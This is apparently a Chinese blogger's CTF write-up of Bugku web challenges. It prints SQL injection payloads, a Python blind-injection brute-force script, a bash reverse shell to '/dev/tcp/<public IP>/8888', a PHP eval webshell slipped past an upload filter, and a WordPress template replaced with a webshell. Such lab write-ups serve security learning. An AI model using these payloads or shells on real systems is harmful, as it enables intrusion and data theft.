?>[/collapse]Trim的日记本御剑扫一波后台，发现一个show.php，进去后拿到flag。这是一个神奇的登陆框登陆框，那就注入吧。(这里有个小问题，我直接用浏览器没有回显，用burp就有。等我弄清楚原因再记录下来吧)尝试单引号，但是一直try again。单引号应该是被过滤了。尝试双引号，发现有报错的语句，发现注入点。admin_name=admin" order by 2#&admin_passwd=admin&submit=GO+GO+GO发现字段数为2。接下来嘛…………爆库爆表爆字段，拿到flag。(这里又有一个小问题，我在查列里面的数据的时候，如果指定了数据库名，就会提示没有select权限；而不指定就可以直接拿到flag。神奇)这个问题似乎是权限问题，具体等我更加了解后再记录吧。sql注入2这道题目是我看了writeup才会写的。这里有三种解法：.DS_Store源码泄露：上网找个exp就好了。直接访问flag路径：emmm这种解法……正常肯定不是这么解。这种解法我还不是很理解，先放上原文，等我看懂了再补充吧。附上常见web源码泄露总结login2(SKCTF)这道题我也是看别人的writeup才做出来的。最开始一通瞎注什么都没注出来。然后抓包，发现有一个tip头，base64解码后得到部分源码：$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }观察源码可以发现它先select出来username和password，然后再和用户输入的password进行MD5值的比较。那么可以构造Payload如下：username=' union select 1,md5(1)#&password=1这条语句前面闭合了username，返回空。但是union会返回一个1和md5(1)。这时password就是MD5(1)了。然后再在password输入1，就可以绕过后面的if了。登陆之后进到一个进程监控系统，随便测试几条语句：ls ps ;ls ; sleep 5发现 ls 都没有回显，ps有回显。但是最后一条sleep输入后等待了五秒网页才刷新。于是判断输入的指令都会被执行，但是返回结果会被过滤。于是执行一个反弹shell：|bash -i >& /dev/tcp/你的公网ip/8888 0>&1使用一台VPS nc 上去后即可得到flag。这题还有一种不用VPS的解法：参考这里login3(SKCTF)这道题目提示是基于布尔的SQL盲注。打开后还是登陆框，那就注入吧。先看过滤了什么字符。测试一通后发现 空格，逗号，等号，and 这四个被过滤了。然后我就去找writeup了(捂脸)。这道题需要用宽字节注入来绕过对单引号的转义。然后我的做法是写了个脚本直接爆破密码(因为用户名错误和密码错误返回是不同的)：#encoding: utf-8 import requests url = "http://123.206.31.85:49167/" payload = "admin%df'or(select(password))>'" res = "" r = requests.session() for i in range(32): res += 'f' q = "0123456789abcdef" for i in range(32): for j in q: res = res[:i] + j + res[i+1:] data = { "username": payload + res, "password": "admin" } response = r.post(url, data=data) if "exist" in response.text: break print(res) print(res)(第一次写脚本，写得不好轻喷)爆破出来admin密码的md5值，登陆后即可得到flag。另一种解法：https://pengyang.me/2018/08/05/bk_login3/多次https://blog.domineto.top/wp/duoci.htmlINSERT INTO注入https://blog.domineto.top/wp/insert_into.html前女友这题似乎环境修好了，之前我记得是坏的……打开来后查看源代码，里面有个链接可以跳转。访问后得到一份PHP的源码：<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>审计源码，绕过两个if就可以得到flag了。那么就开始绕过吧。第一个if可以使用PHP == 的漏洞，找两个MD5后为0e开头的字符串就行了。第二个if可以用strcmp的一个漏洞。在PHP5.2以后，如果比较的两个数据类型不一样的话(如数组和字符串)就会报错并返回0。Payload：http://123.206.31.85:49162/?v1=s878926199a&v2=s155964671a&v3[]=123得到flag。文件包含2进去后查看网页源代码，发现有注释upload.php。访问后是一个上传界面。题目hint是文件包含，而url里又有一个file=，自然就想到了文件上传+LEI。上传木马，测试一下发现检测了后缀，Content-Type，还有文件首字节。构造木马文件内容如下：.... <?php eval($_POST["cmd"]);?>上传。被改名了？好吧……访问一下看看，发现竟然不是解析为图片，但是 <?php 和 ?> 被waf吃了。那就修改payload：.... 上传，菜刀连上去，成功Get Flag。既然都Getshell了，那就看看它的源码吧 XD[collapse title="本题源码" status="true"]index.php <?php if(!isset($_GET['file'])) { header('Location: ./index.php?file=hello.php'); exit(); } @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo " NAIVE!!! "; } else { include($file); } } ?>upload.php UPLOAD file: 请上传jpg gif png 格式的文件 文件大小不能超过100KiB <?php //error_reporting(0); if(!empty($_FILES["file"])) { $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { $filename = date('Ymdhis').rand(1000, 9999).'.'.$extension; if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){ $url="upload/".$filename; $content = file_get_contents($url); $content = preg_replace('/<\?php|\?>/i', '_', $content); file_put_contents('upload/'.$filename, $content); echo "file upload successful!Save in: " . "upload/" . $filename; }else{ echo "upload failed!"; } } else { echo "upload failed! allow only jpg,png,gif,jpep"; } } ?>[/collapse]我还是不改源码了吧……(●ˇ∀ˇ●) (好像也改不了QAQ)孙xx的博客这题我是懵圈的，好像环境给搞坏了。反正我找到的的writeup我都试了一遍，这里放一个正确flag的writeup吧。原文戳这里)这题和以前不一样了，bugku到底实在不停发展/更新啊以前是社工猜到账号sun，密码sun19980321(生日)进后台，看到一串奇怪的字符串扫目录发现phpmyadmin，用那串字符串做数据库密码登陆，看到flag表中有flag现在是直接wordpress改模板，我直接把一个404模板改成了大马(反正那个404模板早就炸了，不是我干的)http://wp.bugku.com/wp-content/themes/twentyseventeen/404.php访问大马，/web目录下有flagflag{wp-a7S8S_bukk}